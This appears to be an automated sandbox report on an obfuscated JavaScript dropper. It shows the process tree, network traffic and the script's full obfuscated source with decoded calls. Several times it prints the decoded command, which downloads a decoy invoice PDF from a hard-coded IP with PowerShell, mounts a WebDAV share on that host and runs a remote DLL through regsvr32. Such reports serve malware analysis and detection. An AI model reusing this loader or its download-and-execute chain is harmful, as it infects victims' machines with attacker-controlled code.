Jan 10, 2025 22:48:28.185022116 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:48:28.951683044 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:48:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:48:21
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js"
Imagebase:	0x7ff79e640000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:48:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll
Imagebase:	0x7ff67c660000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:48:22
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:48:22
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:48:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	16:48:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff67c660000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:48:27
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65c730000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:48:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	16:48:27
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff70f330000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:48:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,6776494652425393381,113694542257403772,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xdiwfof() {	xdiwfof() ➔ undefined
1	gqbuflwa = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lqqpp = this[jxhtumn + itdtckdl + rgtdqwbvr + lbxjoxr + nnqvvpv + owqpcqqx + iybyxrle + agrxp] ( this[zhena + anssa + sslbyysvy + rgtdqwbvr + bdhaxyjy + jxhtumn + agrxp][eirycb + rgtdqwbvr + nnqvvpv + itdtckdl + agrxp + nnqvvpv + yfibjpxlm + ddhoeyn + rhbjamwu + nnqvvpv + sslbyysvy + agrxp] ( zhena + anssa + sslbyysvy + rgtdqwbvr + bdhaxyjy + jxhtumn + agrxp + ubxewb + anssa + pnugch + nnqvvpv + yergctnqe + yergctnqe ) [gujlwzax + nnqvvpv + yvrbknlxo + gujlwzax + nnqvvpv + itdtckdl + ptfzuwh] ( gywmgt + qgoihc + xjrxy + hlbamxaxr + dazasra + eirycb + nkdjhfkr + gujlwzax + gujlwzax + xjrxy + pkraysgi + pisdnzj + dazasra + nkdjhfkr + anssa + xjrxy + gujlwzax + bgfjynyk + eirycb + vzwdiany + iybyxrle + agrxp + rgtdqwbvr + vzwdiany + yergctnqe + rwyrcym + hxyvbm + itdtckdl + iybyxrle + nnqvvpv + yergctnqe + bgfjynyk + owqpcqqx + iybyxrle + agrxp + nnqvvpv + rgtdqwbvr + iybyxrle + itdtckdl + agrxp + bdhaxyjy + vzwdiany + iybyxrle + itdtckdl + yergctnqe + bgfjynyk + ruikndomz + vzwdiany + sslbyysvy + itdtckdl + yergctnqe + nnqvvpv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( krqds = 0 ; krqds < gqbuflwa[yergctnqe + nnqvvpv + iybyxrle + yvrbknlxo + agrxp + pnugch] ; ++ krqds )
4	{
5	if ( lqqpp == gqbuflwa[krqds] )
6	{
7	lqqpp = true;
8	break ;
9	}
10	}
11	if ( lqqpp !== true )
12	this[zhena + anssa + sslbyysvy + rgtdqwbvr + bdhaxyjy + jxhtumn + agrxp][lbyjhajdl + aeyrppku + bdhaxyjy + agrxp] ( );
13	this[zhena + anssa + sslbyysvy + rgtdqwbvr + bdhaxyjy + jxhtumn + agrxp][eirycb + rgtdqwbvr + nnqvvpv + itdtckdl + agrxp + nnqvvpv + yfibjpxlm + ddhoeyn + rhbjamwu + nnqvvpv + sslbyysvy + agrxp] ( zhena + anssa + sslbyysvy + rgtdqwbvr + bdhaxyjy + jxhtumn + agrxp + ubxewb + anssa + pnugch + nnqvvpv + yergctnqe + yergctnqe ) [rgtdqwbvr + aeyrppku + iybyxrle] ( sslbyysvy + dgtqqii + ptfzuwh + rwyrcym + whxofmudp + sslbyysvy + rwyrcym + jxhtumn + vzwdiany + vholrl + nnqvvpv + rgtdqwbvr + lbxjoxr + pnugch + nnqvvpv + yergctnqe + yergctnqe + ubxewb + nnqvvpv + wzwwddaqy + nnqvvpv + rwyrcym + qpcjoqzlt + eirycb + vzwdiany + dgtqqii + dgtqqii + itdtckdl + iybyxrle + ptfzuwh + rwyrcym + svjmx + owqpcqqx + iybyxrle + wrapu + vzwdiany + qnifyd + nnqvvpv + qpcjoqzlt + zhena + nnqvvpv + ddhoeyn + gujlwzax + nnqvvpv + valceyfl + aeyrppku + nnqvvpv + lbxjoxr + agrxp + rwyrcym + qpcjoqzlt + yfibjpxlm + aeyrppku + agrxp + pkjogm + bdhaxyjy + yergctnqe + nnqvvpv + rwyrcym + ksdrboc + agrxp + nnqvvpv + dgtqqii + jxhtumn + ksdrboc + bgfjynyk + bdhaxyjy + iybyxrle + wrapu + vzwdiany + bdhaxyjy + sslbyysvy + nnqvvpv + ubxewb + jxhtumn + ptfzuwh + wanjm + rwyrcym + pnugch + agrxp + agrxp + jxhtumn + rxvquem + whxofmudp + whxofmudp + yhvdvtxg + ruygximgw + jonfqvtam + ubxewb + yhvdvtxg + heeon + jonfqvtam + ubxewb + yhvdvtxg + ubxewb + fxwdqx + hfdztag + rcwktgw + whxofmudp + bdhaxyjy + iybyxrle + wrapu + vzwdiany + bdhaxyjy + sslbyysvy + nnqvvpv + ubxewb + jxhtumn + pnugch + jxhtumn + svjmx + ykfspgyoe + ykfspgyoe + lbxjoxr + agrxp + itdtckdl + rgtdqwbvr + agrxp + rwyrcym + ksdrboc + agrxp + nnqvvpv + dgtqqii + jxhtumn + ksdrboc + bgfjynyk + bdhaxyjy + iybyxrle + wrapu + vzwdiany + bdhaxyjy + sslbyysvy + nnqvvpv + ubxewb + jxhtumn + ptfzuwh + wanjm + ykfspgyoe + ykfspgyoe + sslbyysvy + dgtqqii + ptfzuwh + rwyrcym + whxofmudp + sslbyysvy + rwyrcym + iybyxrle + nnqvvpv + agrxp + rwyrcym + aeyrppku + lbxjoxr + nnqvvpv + rwyrcym + bgfjynyk + bgfjynyk + yhvdvtxg + ruygximgw + jonfqvtam + ubxewb + yhvdvtxg + heeon + jonfqvtam + ubxewb + yhvdvtxg + ubxewb + fxwdqx + hfdztag + rcwktgw + iipij + svwvhzff + svwvhzff + svwvhzff + svwvhzff + bgfjynyk + ptfzuwh + itdtckdl + wrapu + vholrl + vholrl + vholrl + rgtdqwbvr + vzwdiany + vzwdiany + agrxp + bgfjynyk + ykfspgyoe + ykfspgyoe + sslbyysvy + dgtqqii + ptfzuwh + rwyrcym + whxofmudp + sslbyysvy + rwyrcym + rgtdqwbvr + nnqvvpv + yvrbknlxo + lbxjoxr + wrapu + rgtdqwbvr + jonfqvtam + fxwdqx + rwyrcym + whxofmudp + lbxjoxr + rwyrcym + bgfjynyk + bgfjynyk + yhvdvtxg + ruygximgw + jonfqvtam + ubxewb + yhvdvtxg + heeon + jonfqvtam + ubxewb + yhvdvtxg + ubxewb + fxwdqx + hfdztag + rcwktgw + iipij + svwvhzff + svwvhzff + svwvhzff + svwvhzff + bgfjynyk + ptfzuwh + itdtckdl + wrapu + vholrl + vholrl + vholrl + rgtdqwbvr + vzwdiany + vzwdiany + agrxp + bgfjynyk + yhvdvtxg + heeon + czzwyou + jonfqvtam + rcwktgw + yhvdvtxg + ruygximgw + heeon + hfdztag + ojrqil + czzwyou + ojrqil + rcwktgw + heeon + ubxewb + ptfzuwh + yergctnqe + yergctnqe, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll",0,false) ➔ 0
14	}
15	ruygximgw = "b";
16	ruygximgw = "w";
17	ruygximgw = "w";
18	ruygximgw = "e";
19	ruygximgw = "r";
20	ruygximgw = "k";
21	ruygximgw = "m";
22	ruygximgw = "x";
23	ruygximgw = "M";
24	ruygximgw = "x";
25	ruygximgw = "w";
26	ruygximgw = "c";
27	ruygximgw = "U";
28	ruygximgw = "e";
29	ruygximgw = "k";
30	ruygximgw = "K";
31	ruygximgw = "m";
32	ruygximgw = "d";
33	ruygximgw = "Z";
34	ruygximgw = "j";
35	ruygximgw = "O";
36	ruygximgw = "p";
37	ruygximgw = "t";
38	ruygximgw = "p";
39	ruygximgw = "X";
40	ruygximgw = "9";
41	xjrxy = "u";
42	xjrxy = "f";
43	xjrxy = "y";
44	xjrxy = "o";
45	xjrxy = "P";
46	xjrxy = "u";
47	xjrxy = "E";
48	xjrxy = "p";
49	xjrxy = "Z";
50	xjrxy = "s";
51	xjrxy = "v";
52	xjrxy = "I";
53	xjrxy = "V";
54	xjrxy = "y";
55	xjrxy = "y";
56	xjrxy = "g";
57	xjrxy = "k";
58	xjrxy = "e";
59	xjrxy = "L";
60	xjrxy = "x";
61	xjrxy = "L";
62	xjrxy = "r";
63	xjrxy = "O";
64	xjrxy = "p";
65	xjrxy = "Q";
66	xjrxy = "I";
67	xjrxy = "U";
68	xjrxy = "V";
69	xjrxy = "i";
70	xjrxy = "P";
71	xjrxy = "u";
72	xjrxy = "k";
73	xjrxy = "e";
74	xjrxy = "K";
75	xjrxy = "o";
76	xjrxy = "w";
77	xjrxy = "K";
78	xjrxy = "q";
79	xjrxy = "J";
80	xjrxy = "l";
81	xjrxy = "g";
82	xjrxy = "m";
83	xjrxy = "E";
84	ddhoeyn = "s";
85	ddhoeyn = "Y";
86	ddhoeyn = "r";
87	ddhoeyn = "V";
88	ddhoeyn = "W";
89	ddhoeyn = "g";
90	ddhoeyn = "Q";
91	ddhoeyn = "G";
92	ddhoeyn = "E";
93	ddhoeyn = "J";
94	ddhoeyn = "j";
95	ddhoeyn = "l";
96	ddhoeyn = "s";
97	ddhoeyn = "M";
98	ddhoeyn = "H";
99	ddhoeyn = "D";
100	ddhoeyn = "L";
101	ddhoeyn = "b";
102	wrapu = "h";
103	wrapu = "X";
104	wrapu = "w";
105	wrapu = "y";
106	wrapu = "D";
107	wrapu = "S";
108	wrapu = "F";
109	wrapu = "Q";
110	wrapu = "H";
111	wrapu = "y";
112	wrapu = "e";
113	wrapu = "h";
114	wrapu = "W";
115	wrapu = "k";
116	wrapu = "x";
117	wrapu = "a";
118	wrapu = "v";
119	hfdztag = "l";
120	hfdztag = "T";
121	hfdztag = "N";
122	hfdztag = "d";
123	hfdztag = "A";
124	hfdztag = "p";
125	hfdztag = "z";
126	hfdztag = "o";
127	hfdztag = "c";
128	hfdztag = "D";
129	hfdztag = "j";
130	hfdztag = "H";
131	hfdztag = "Q";
132	hfdztag = "f";
133	hfdztag = "d";
134	hfdztag = "Z";
135	hfdztag = "A";
136	hfdztag = "q";
137	hfdztag = "U";
138	hfdztag = "F";
139	hfdztag = "w";
140	hfdztag = "V";
141	hfdztag = "p";
142	hfdztag = "R";
143	hfdztag = "L";
144	hfdztag = "s";
145	hfdztag = "N";
146	hfdztag = "h";
147	hfdztag = "j";
148	hfdztag = "G";
149	hfdztag = "B";
150	hfdztag = "p";
151	hfdztag = "W";
152	hfdztag = "K";
153	hfdztag = "t";
154	hfdztag = "0";
155	czzwyou = "D";
156	czzwyou = "l";
157	czzwyou = "D";
158	czzwyou = "m";
159	czzwyou = "z";
160	czzwyou = "y";
161	czzwyou = "G";
162	czzwyou = "a";
163	czzwyou = "Y";
164	czzwyou = "T";
165	czzwyou = "m";
166	czzwyou = "l";
167	czzwyou = "Q";
168	czzwyou = "r";
169	czzwyou = "v";
170	czzwyou = "s";
171	czzwyou = "t";
172	czzwyou = "6";
173	jonfqvtam = "V";
174	jonfqvtam = "3";
175	svwvhzff = "d";
176	svwvhzff = "q";
177	svwvhzff = "Z";
178	svwvhzff = "X";
179	svwvhzff = "g";
180	svwvhzff = "q";
181	svwvhzff = "L";
182	svwvhzff = "I";
183	svwvhzff = "j";
184	svwvhzff = "a";
185	svwvhzff = "O";
186	svwvhzff = "K";
187	svwvhzff = "k";
188	svwvhzff = "T";
189	svwvhzff = "B";
190	svwvhzff = "W";
191	svwvhzff = "8";
192	ruikndomz = "I";
193	ruikndomz = "b";
194	ruikndomz = "y";
195	ruikndomz = "Q";
196	ruikndomz = "l";
197	ruikndomz = "e";
198	ruikndomz = "y";
199	ruikndomz = "x";
200	ruikndomz = "C";
201	ruikndomz = "B";
202	ruikndomz = "N";
203	ruikndomz = "D";
204	ruikndomz = "G";
205	ruikndomz = "U";
206	ruikndomz = "T";
207	ruikndomz = "d";
208	ruikndomz = "C";
209	ruikndomz = "m";
210	ruikndomz = "B";
211	ruikndomz = "M";
212	ruikndomz = "G";
213	ruikndomz = "e";
214	ruikndomz = "t";
215	ruikndomz = "S";
216	ruikndomz = "x";
217	ruikndomz = "T";
218	ruikndomz = "L";
219	rxvquem = "k";
220	rxvquem = "T";
221	rxvquem = "c";
222	rxvquem = "l";
223	rxvquem = "h";
224	rxvquem = "L";
225	rxvquem = "L";
226	rxvquem = "W";
227	rxvquem = "C";
228	rxvquem = "x";
229	rxvquem = "U";
230	rxvquem = "q";
231	rxvquem = "Y";
232	rxvquem = "e";
233	rxvquem = "m";
234	rxvquem = "W";
235	rxvquem = "J";
236	rxvquem = "m";
237	rxvquem = "h";
238	rxvquem = "M";
239	rxvquem = "P";
240	rxvquem = "k";
241	rxvquem = "d";
242	rxvquem = "W";
243	rxvquem = "K";
244	rxvquem = "s";
245	rxvquem = "z";
246	rxvquem = "G";
247	rxvquem = "E";
248	rxvquem = "r";
249	rxvquem = "J";
250	rxvquem = "o";
251	rxvquem = "S";
252	rxvquem = ":";
253	rgtdqwbvr = "f";
254	rgtdqwbvr = "N";
255	rgtdqwbvr = "k";
256	rgtdqwbvr = "m";
257	rgtdqwbvr = "C";
258	rgtdqwbvr = "P";
259	rgtdqwbvr = "O";
260	rgtdqwbvr = "B";
261	rgtdqwbvr = "Q";
262	rgtdqwbvr = "e";
263	rgtdqwbvr = "k";
264	rgtdqwbvr = "P";
265	rgtdqwbvr = "o";
266	rgtdqwbvr = "e";
267	rgtdqwbvr = "i";
268	rgtdqwbvr = "y";
269	rgtdqwbvr = "j";
270	rgtdqwbvr = "T";
271	rgtdqwbvr = "c";
272	rgtdqwbvr = "R";
273	rgtdqwbvr = "K";
274	rgtdqwbvr = "V";
275	rgtdqwbvr = "u";
276	rgtdqwbvr = "f";
277	rgtdqwbvr = "p";
278	rgtdqwbvr = "q";
279	rgtdqwbvr = "s";
280	rgtdqwbvr = "E";
281	rgtdqwbvr = "k";
282	rgtdqwbvr = "Y";
283	rgtdqwbvr = "f";
284	rgtdqwbvr = "o";
285	rgtdqwbvr = "u";
286	rgtdqwbvr = "N";
287	rgtdqwbvr = "h";
288	rgtdqwbvr = "w";
289	rgtdqwbvr = "S";
290	rgtdqwbvr = "y";
291	rgtdqwbvr = "p";
292	rgtdqwbvr = "r";
293	rgtdqwbvr = "A";
294	rgtdqwbvr = "r";
295	rgtdqwbvr = "r";
296	vholrl = "p";
297	vholrl = "P";
298	vholrl = "D";
299	vholrl = "J";
300	vholrl = "a";
301	vholrl = "O";
302	vholrl = "A";
303	vholrl = "W";
304	vholrl = "J";
305	vholrl = "K";
306	vholrl = "L";
307	vholrl = "J";
308	vholrl = "P";
309	vholrl = "t";
310	vholrl = "l";
311	vholrl = "C";
312	vholrl = "s";
313	vholrl = "J";
314	vholrl = "n";
315	vholrl = "W";
316	vholrl = "y";
317	vholrl = "R";
318	vholrl = "E";
319	vholrl = "q";
320	vholrl = "L";
321	vholrl = "k";
322	vholrl = "R";
323	vholrl = "w";
324	jxhtumn = "t";
325	jxhtumn = "H";
326	jxhtumn = "M";
327	jxhtumn = "l";
328	jxhtumn = "G";
329	jxhtumn = "R";
330	jxhtumn = "m";
331	jxhtumn = "P";
332	jxhtumn = "H";
333	jxhtumn = "V";
334	jxhtumn = "H";
335	jxhtumn = "k";
336	jxhtumn = "b";
337	jxhtumn = "K";
338	jxhtumn = "W";
339	jxhtumn = "w";
340	jxhtumn = "B";
341	jxhtumn = "P";
342	jxhtumn = "J";
343	jxhtumn = "J";
344	jxhtumn = "f";
345	jxhtumn = "p";
346	wanjm = "y";
347	wanjm = "q";
348	wanjm = "F";
349	wanjm = "S";
350	wanjm = "B";
351	wanjm = "C";
352	wanjm = "n";
353	wanjm = "z";
354	wanjm = "K";
355	wanjm = "Y";
356	wanjm = "V";
357	wanjm = "f";
358	wanjm = "Y";
359	wanjm = "n";
360	wanjm = "R";
361	wanjm = "Y";
362	wanjm = "g";
363	wanjm = "I";
364	wanjm = "Q";
365	wanjm = "M";
366	wanjm = "M";
367	wanjm = "r";
368	wanjm = "q";
369	wanjm = "v";
370	wanjm = "D";
371	wanjm = "r";
372	wanjm = "i";
373	wanjm = "H";
374	wanjm = "V";
375	wanjm = "f";
376	iybyxrle = "f";
377	iybyxrle = "K";
378	iybyxrle = "v";
379	iybyxrle = "d";
380	iybyxrle = "c";
381	iybyxrle = "O";
382	iybyxrle = "D";
383	iybyxrle = "p";
384	iybyxrle = "p";
385	iybyxrle = "T";
386	iybyxrle = "u";
387	iybyxrle = "R";
388	iybyxrle = "m";
389	iybyxrle = "b";
390	iybyxrle = "U";
391	iybyxrle = "X";
392	iybyxrle = "G";
393	iybyxrle = "V";
394	iybyxrle = "g";
395	iybyxrle = "W";
396	iybyxrle = "B";
397	iybyxrle = "T";
398	iybyxrle = "J";
399	iybyxrle = "o";
400	iybyxrle = "v";
401	iybyxrle = "V";
402	iybyxrle = "E";
403	iybyxrle = "i";
404	iybyxrle = "v";
405	iybyxrle = "F";
406	iybyxrle = "l";
407	iybyxrle = "e";
408	iybyxrle = "B";
409	iybyxrle = "n";
410	eirycb = "S";
411	eirycb = "A";
412	eirycb = "V";
413	eirycb = "d";
414	eirycb = "C";
415	qpcjoqzlt = "o";
416	qpcjoqzlt = "q";
417	qpcjoqzlt = "o";
418	qpcjoqzlt = "T";
419	qpcjoqzlt = "p";
420	qpcjoqzlt = "L";
421	qpcjoqzlt = "l";
422	qpcjoqzlt = "c";
423	qpcjoqzlt = "-";
424	qgoihc = "G";
425	qgoihc = "K";
426	qgoihc = "V";
427	qgoihc = "z";
428	qgoihc = "Q";
429	qgoihc = "Z";
430	qgoihc = "m";
431	qgoihc = "V";
432	qgoihc = "j";
433	qgoihc = "K";
434	yvrbknlxo = "h";
435	yvrbknlxo = "G";
436	yvrbknlxo = "l";
437	yvrbknlxo = "O";
438	yvrbknlxo = "k";
439	yvrbknlxo = "u";
440	yvrbknlxo = "s";
441	yvrbknlxo = "z";
442	yvrbknlxo = "O";
443	yvrbknlxo = "z";
444	yvrbknlxo = "Q";
445	yvrbknlxo = "S";
446	yvrbknlxo = "j";
447	yvrbknlxo = "o";
448	yvrbknlxo = "P";
449	yvrbknlxo = "X";
450	yvrbknlxo = "v";
451	yvrbknlxo = "a";
452	yvrbknlxo = "g";
453	yergctnqe = "s";
454	yergctnqe = "E";
455	yergctnqe = "K";
456	yergctnqe = "J";
457	yergctnqe = "A";
458	yergctnqe = "z";
459	yergctnqe = "r";
460	yergctnqe = "Y";
461	yergctnqe = "q";
462	yergctnqe = "e";
463	yergctnqe = "t";
464	yergctnqe = "V";
465	yergctnqe = "Q";
466	yergctnqe = "P";
467	yergctnqe = "b";
468	yergctnqe = "O";
469	yergctnqe = "t";
470	yergctnqe = "I";
471	yergctnqe = "Z";
472	yergctnqe = "L";
473	yergctnqe = "R";
474	yergctnqe = "V";
475	yergctnqe = "H";
476	yergctnqe = "Q";
477	yergctnqe = "V";
478	yergctnqe = "Q";
479	yergctnqe = "W";
480	yergctnqe = "h";
481	yergctnqe = "F";
482	yergctnqe = "X";
483	yergctnqe = "c";
484	yergctnqe = "K";
485	yergctnqe = "C";
486	yergctnqe = "B";
487	yergctnqe = "U";
488	yergctnqe = "X";
489	yergctnqe = "I";
490	yergctnqe = "l";
491	rcwktgw = "X";
492	rcwktgw = "5";
493	rwyrcym = "D";
494	rwyrcym = "M";
495	rwyrcym = "x";
496	rwyrcym = "t";
497	rwyrcym = "j";
498	rwyrcym = "f";
499	rwyrcym = "m";
500	rwyrcym = "S";
501	rwyrcym = "n";
502	rwyrcym = "J";
503	rwyrcym = "D";
504	rwyrcym = "x";
505	rwyrcym = "A";
506	rwyrcym = "l";
507	rwyrcym = "p";
508	rwyrcym = "B";
509	rwyrcym = " ";
510	pkraysgi = "n";
511	pkraysgi = "Y";
512	pkraysgi = "n";
513	pkraysgi = "k";
514	pkraysgi = "t";
515	pkraysgi = "b";
516	pkraysgi = "g";
517	pkraysgi = "H";
518	pkraysgi = "g";
519	pkraysgi = "Y";
520	pkraysgi = "U";
521	pkraysgi = "L";
522	pkraysgi = "m";
523	pkraysgi = "m";
524	pkraysgi = "b";
525	pkraysgi = "P";
526	pkraysgi = "l";
527	pkraysgi = "Z";
528	pkraysgi = "j";
529	pkraysgi = "d";
530	pkraysgi = "C";
531	pkraysgi = "o";
532	pkraysgi = "X";
533	pkraysgi = "W";
534	pkraysgi = "b";
535	pkraysgi = "c";
536	pkraysgi = "y";
537	pkraysgi = "l";
538	pkraysgi = "K";
539	pkraysgi = "E";
540	pkraysgi = "h";
541	pkraysgi = "v";
542	pkraysgi = "p";
543	pkraysgi = "c";
544	pkraysgi = "r";
545	pkraysgi = "O";
546	pkraysgi = "B";
547	pkraysgi = "R";
548	pkraysgi = "C";
549	pkraysgi = "r";
550	pkraysgi = "n";
551	pkraysgi = "X";
552	pkraysgi = "N";
553	svjmx = "d";
554	svjmx = "Q";
555	svjmx = "a";
556	svjmx = "J";
557	svjmx = "\"";
558	itdtckdl = "p";
559	itdtckdl = "d";
560	itdtckdl = "u";
561	itdtckdl = "z";
562	itdtckdl = "y";
563	itdtckdl = "j";
564	itdtckdl = "O";
565	itdtckdl = "y";
566	itdtckdl = "I";
567	itdtckdl = "e";
568	itdtckdl = "S";
569	itdtckdl = "C";
570	itdtckdl = "V";
571	itdtckdl = "a";
572	ykfspgyoe = "u";
573	ykfspgyoe = "Z";
574	ykfspgyoe = "z";
575	ykfspgyoe = "L";
576	ykfspgyoe = "D";
577	ykfspgyoe = "J";
578	ykfspgyoe = "n";
579	ykfspgyoe = "z";
580	ykfspgyoe = "&";
581	heeon = "L";
582	heeon = "H";
583	heeon = "P";
584	heeon = "4";
585	ubxewb = "C";
586	ubxewb = "q";
587	ubxewb = "H";
588	ubxewb = "V";
589	ubxewb = "z";
590	ubxewb = "Z";
591	ubxewb = "O";
592	ubxewb = "t";
593	ubxewb = "V";
594	ubxewb = "Z";
595	ubxewb = "u";
596	ubxewb = "d";
597	ubxewb = "z";
598	ubxewb = "k";
599	ubxewb = "a";
600	ubxewb = "C";
601	ubxewb = "H";
602	ubxewb = "B";
603	ubxewb = "S";
604	ubxewb = "V";
605	ubxewb = "u";
606	ubxewb = "M";
607	ubxewb = "X";
608	ubxewb = "W";
609	ubxewb = "x";
610	ubxewb = "J";
611	ubxewb = "n";
612	ubxewb = "V";
613	ubxewb = "M";
614	ubxewb = ".";
615	hlbamxaxr = "W";
616	hlbamxaxr = "s";
617	hlbamxaxr = "j";
618	hlbamxaxr = "t";
619	hlbamxaxr = "r";
620	hlbamxaxr = "U";
621	hlbamxaxr = "q";
622	hlbamxaxr = "P";
623	hlbamxaxr = "b";
624	hlbamxaxr = "M";
625	hlbamxaxr = "F";
626	hlbamxaxr = "c";
627	hlbamxaxr = "W";
628	hlbamxaxr = "m";
629	hlbamxaxr = "s";
630	hlbamxaxr = "i";
631	hlbamxaxr = "z";
632	hlbamxaxr = "M";
633	hlbamxaxr = "Z";
634	hlbamxaxr = "c";
635	hlbamxaxr = "K";
636	hlbamxaxr = "c";
637	hlbamxaxr = "v";
638	hlbamxaxr = "X";
639	hlbamxaxr = "s";
640	hlbamxaxr = "i";
641	hlbamxaxr = "g";
642	hlbamxaxr = "t";
643	hlbamxaxr = "b";
644	hlbamxaxr = "f";
645	hlbamxaxr = "K";
646	hlbamxaxr = "M";
647	hlbamxaxr = "J";
648	hlbamxaxr = "E";
649	hlbamxaxr = "Y";
650	nkdjhfkr = "a";
651	nkdjhfkr = "R";
652	nkdjhfkr = "z";
653	nkdjhfkr = "Y";
654	nkdjhfkr = "J";
655	nkdjhfkr = "M";
656	nkdjhfkr = "e";
657	nkdjhfkr = "i";
